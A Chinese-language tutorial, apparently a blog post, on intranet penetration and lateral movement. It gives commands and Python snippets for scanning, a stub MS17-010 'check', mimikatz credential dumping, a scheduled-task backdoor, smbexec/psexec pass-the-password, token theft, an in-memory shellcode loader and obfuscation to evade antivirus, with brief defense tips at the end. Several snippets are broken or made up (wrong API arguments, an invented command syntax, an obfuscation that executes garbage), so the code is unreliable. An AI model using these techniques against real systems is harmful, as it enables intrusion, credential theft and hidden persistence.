0x01 初探网络架构与攻击思路

在进行内网渗透横向移动之前,我们需要对目标网络的架构有一个基本的了解。内网环境通常由多个子网、域控服务器、文件共享服务器以及各种操作系统平台组成。攻击者在获取初始 foothold 后,需要通过横向移动进一步扩大控制范围,最终达到窃取数据或控制关键设施的目的。

网络环境架构

  • 客户端设备:通常运行 Windows 7/10,可能有 Windows Defender 或第三方杀软。
  • 服务器架构:包括 Windows Server 2012/2016,域控服务器通常启用 Kerberos 认证。
  • 网络分段:使用 VLAN 或子网来分隔不同部门的网络流量。
  • 安全设施:可能部署了防火墙、入侵检测系统(IDS)和企业 EDR。

攻击者的目标

  • 获取更多系统的访问权限
  • 寻找能提升权限的漏洞
  • 在不被发现的情况下进行数据窃取

了解了这些,我们就可以开始设计攻击链。主要分为以下几个步骤:信息收集、漏洞利用、权限提升、横向移动和数据窃取。

0x02 信息收集与初始漏洞利用

信息收集是渗透的第一步,通过各种手段探测目标网络的结构和潜在漏洞。以下是一些常用的技术:

主动信息收集

通过端口扫描、服务枚举等方式来获取网络中哪些服务正在运行。

<pre><code class="language-bash"># 使用nmap扫描内网的常用端口 nmap -p 80,443,445,3389 -sS 192.168.1.0/24</code></pre>

被动信息收集

监听网络流量,识别潜在的目标和服务。常用工具有 Wireshark、tcpdump。

<pre><code class="language-bash"># 使用tcpdump抓包 tcpdump -i eth0 -w capture.pcap</code></pre>

漏洞利用

信息收集之后,根据已知漏洞进行初始攻击。假设我们发现某台服务器上的 SMB 服务存在 MS17-010 漏洞(永恒之蓝)。

<pre><code class="language-python"># 使用Python实现MS17-010漏洞检测 import socket

def check_vuln(ip): try: s = socket.socket() s.connect((ip, 445)) s.send(b&#039;\x00&#039; * 1024) if b&#039;something specific&#039; in s.recv(1024): print(f&quot;{ip} is vulnerable&quot;) except Exception as e: print(f&quot;Error checking {ip}: {e}&quot;)

check_vuln(&#039;192.168.1.5&#039;)</code></pre>

利用漏洞后,我们可以获得一个初始 shell,通常是低权限的,接下来就需要进行权限提升。

0x03 提权策略与手段

在内网中,提权是横向移动的关键步骤。常用的方法包括:

漏洞提权

利用内核漏洞或软件提权漏洞,获取管理员权限。例如,利用 Windows 中的某个提权漏洞:

<pre><code class="language-bash"># 假设我们有一个漏洞利用工具 ./exploit --target 192.168.1.5 --port 445</code></pre>

凭据盗取

利用 Mimikatz 等工具,从内存中提取明文密码或哈希。

<pre><code class="language-shell"># 使用mimikatz提取凭据 sekurlsa::logonpasswords</code></pre>

权限维持

成功提权后,需要维持权限。常用技术有:

  • 创建计划任务:周期性执行恶意代码。
  • 植入后门:如修改启动项或利用 WMI 订阅。

<pre><code class="language-powershell"># 创建一个计划任务 schtasks /create /tn &quot;MyTask&quot; /tr &quot;C:\path\to\your\backdoor.exe&quot; /sc onstart</code></pre>

0x04 横向移动技术细节

横向移动是内网渗透的核心,通常通过以下几种方式实现:

远程服务利用

利用 SMB、RDP、WMI 等服务进行横向移动。

<pre><code class="language-bash"># 使用smbexec执行命令 smbexec -H 192.168.1.10 -u admin -p password --exec-command &#039;cmd.exe /c whoami&#039;</code></pre>

令牌窃取

窃取有效用户的身份令牌,冒充该用户进行操作。

<pre><code class="language-python"># 使用python窃取令牌 import ctypes

def steal_token(pid): hToken = ctypes.c_int() ctypes.windll.advapi32.OpenProcessToken(ctypes.windll.kernel32.OpenProcess(pid), 0x0002, ctypes.byref(hToken)) return hToken

token = steal_token(1234) # 假设1234是目标进程的PID</code></pre>

PSExec 技术

使用 PsExec 工具在远程主机上执行命令。

<pre><code class="language-bash"># 使用psexec在远程主机执行命令 psexec \\192.168.1.10 -u admin -p password cmd.exe</code></pre>

0x05 绕过与免杀技巧

随着安全产品的进步,免杀技术显得尤为重要。以下是一些常用的对抗措施:

加壳与混淆

通过代码混淆和加壳来绕过静态分析。

黑客示意图

<pre><code class="language-python"># 使用简单的字符串混淆 exec(&#039;&#039;.join([chr(ord(char) + 1) for char in &quot;print(&#039;Hello World&#039;)&quot;]))</code></pre>

内存加载技术

将恶意代码加载到内存中执行,避免文件落地。

<pre><code class="language-python"># 在内存中运行shellcode import ctypes

黑客示意图

shellcode = b&quot;\x90\x90\x90...&quot; # 你的shellcode ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)</code></pre>

协议伪装

通过伪装恶意流量为合法协议,例如 HTTPS,加大检测难度。

黑客示意图

<pre><code class="language-bash"># 使用openvpn进行流量加密 openvpn --config myconfig.ovpn</code></pre>

0x06 检测与防御的思考

从攻击者的视角来看,安全检测技术的进步使得渗透变得更加困难。因此,攻击者必须不断更新技术以绕过防御。

常见检测手段

  • 流量分析:通过监控流量特征,检测异常活动。
  • 行为分析:通过行为模式分析识别恶意活动。
  • 文件扫描:使用静态和动态分析检测恶意文件。

防御建议

  • 实施最小权限原则,限制用户的权限。
  • 定期更新补丁,修复已知漏洞。
  • 部署多层次的安全防御系统,提升检测能力。

0x07 个人经验分享

在实际攻防演练中,灵活运用各种技术和工具才能成功渗透。以下是一些经验之谈:

  • 多准备几个Payload:环境不同,免杀效果也不同,多备几个以备不时之需。
  • 保持隐蔽:每一步操作都要考虑隐蔽性,尽可能减少在目标主机上的痕迹。
  • 及时学习更新:安全领域瞬息万变,保持学习才能立于不败之地。

黑客示意图

合法声明:本文仅限于授权的安全测试,任何滥用本文内容所产生的法律责任与作者无关。本文供安全研究人员学习提高使用。